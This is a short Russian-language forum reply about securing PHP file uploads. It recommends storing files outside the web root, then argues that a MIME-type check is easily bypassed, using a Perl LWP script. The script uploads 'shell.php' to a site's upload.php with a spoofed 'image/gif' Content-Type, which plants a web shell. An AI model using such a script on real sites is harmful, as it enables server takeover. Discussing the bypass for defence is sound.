khujand, Я считаю, что оптимальный вариант это хранение файлов за корневой директорией и не давать пользователю знать оригинальное название файла. Так же при наличие финансовой возможности размещать файлы на сторонних серверах, как это делает множество крупных компаний.

Не вижу смысла в этой защите. Её можно обойти.

<?
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://site.ru/upload.php',
Content_Type => 'form-data',
Content => [userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],],);

print $res->as_string();
?>